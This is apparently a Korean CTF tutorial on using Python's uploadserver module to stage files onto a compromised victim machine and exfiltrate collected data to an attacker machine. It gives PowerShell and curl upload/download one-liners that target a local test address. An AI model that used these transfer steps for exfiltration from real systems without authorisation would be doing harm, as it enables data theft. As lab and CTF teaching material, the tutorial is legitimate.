간단한 파이썬 파일 업로드 서버 사용법
CTF 를 하다보면 1차 침입에 성공한 Victim 머신에 추가 파일을 업로드하거나, Victim 에서 수집한 정보를 Attack 머신으로 유출시켜야 하는 상황이 자주 있다. 파일 업로드/다운로드 방법은 많이 있지만 이 글에서는 pypi.org 에 등록된 uploadserver 모듈을 이용해 간단한 업로드 서버를 만드는 방법에 대해 설명하겠다.
1. 서버 측
서버 측에서는 python 만 설치하고 다음 명령어를 실행하여 uploadserver 모듈을 설치한다.
python3 -m pip install --user uploadserver
uploadserver 모듈 설치 후 다음 명령어로 업로드 서버를 실행할 수 있다. 업로드 서버를 실행하는 순간 외부에서 Working Directory 내 파일들을 다운로드할 수 있으니 적절한 경로에서 실행하자.
python3 -m uploadserver
uploadserver 모듈은 간단한 인증, SSL 인증과 같은 기능도 제공하나 이 글에서는 복잡한 인증 절차 없이 업로드/다운로드할 수 있는 서버를 만드는게 목적이니 이에 대한 설명은 생략한다. 이와 관련된 내용은 프로젝트 설명 글이나 아래 사용법을 참고하자.
python3 -m uploadserver --help
usage: __main__.py [-h] [--cgi] [--allow-replace] [--bind ADDRESS] [--directory DIRECTORY] [--theme {light,auto,dark}] [--server-certificate SERVER_CERTIFICATE] [--client-certificate CLIENT_CERTIFICATE] [--basic-auth BASIC_AUTH]
[--basic-auth-upload BASIC_AUTH_UPLOAD]
[port]
positional arguments:
port Specify alternate port [default: 8000]
options:
-h, --help show this help message and exit
--cgi Run as CGI Server
--allow-replace Replace existing file if uploaded file has the same name. Auto rename by default.
--bind, -b ADDRESS Specify alternate bind address [default: all interfaces]
--directory, -d DIRECTORY
Specify alternative directory [default:current directory]
--theme {light,auto,dark}
Specify a light or dark theme for the upload page [default: auto]
--server-certificate, --certificate, -c SERVER_CERTIFICATE
Specify HTTPS server certificate to use [default: none]
--client-certificate CLIENT_CERTIFICATE
Specify HTTPS client certificate to accept for mutual TLS [default: none]
--basic-auth BASIC_AUTH
Specify user:pass for basic authentication (downloads and uploads)
--basic-auth-upload BASIC_AUTH_UPLOAD
Specify user:pass for basic authentication (uploads only)
2. 클라이언트 측
uploadserver 는 GET 방식으로 통신하여 서버의 파일을 다운로드하고, POST 방식으로 /upload 경로에 접근하여 클라이언트 측 파일을 업로드할 수 있다. 클라이언트 측에서 지원하는 통신 도구에 따라 업로드/다운로드 방법이 다를 수 있지만 이 글에서는 Windows 와 Linux OS에서 일반적으로 설치된 PowerShell 과 Curl 을 이용하는 방식을 예시로 보여주겠다.
예시에서는 http://127.0.0.1:8000 주소에 서비스 중인 업로드 서버에 test.txt 파일을 업로드/다운로드한다고 가정한다.
2.1 PowerShell
2.1.1 다운로드
iwr -Uri http://127.0.0.1:8000/test.txt -OutFile test.txt
2.1.2 업로드
PowerShell 5.1 버전.
Add-Type -AssemblyName System.Net.Http; $f=(Resolve-Path "test.txt").Path; $b=[System.Net.Http.ByteArrayContent]::new([System.IO.File]::ReadAllBytes($f)); $c=[System.Net.Http.MultipartFormDataContent]::new(); $c.Add($b,"files",(Split-Path $f -Leaf)); ([System.Net.Http.HttpClient]::new()).PostAsync("http://127.0.0.1:8000/upload",$c).Result
Powershell 7 버전
Invoke-RestMethod -Uri "http://127.0.0.1:8000/upload" -Method Post -Form @{files=Get-Item "test.txt"}
2.2 Curl
2.2.1 다운로드
curl -X GET http://127.0.0.1:8000/test.txt -o test.txt
2.2.2 업로드
curl -X POST http://127.0.0.1:8000/upload -F 'files=@test.txt'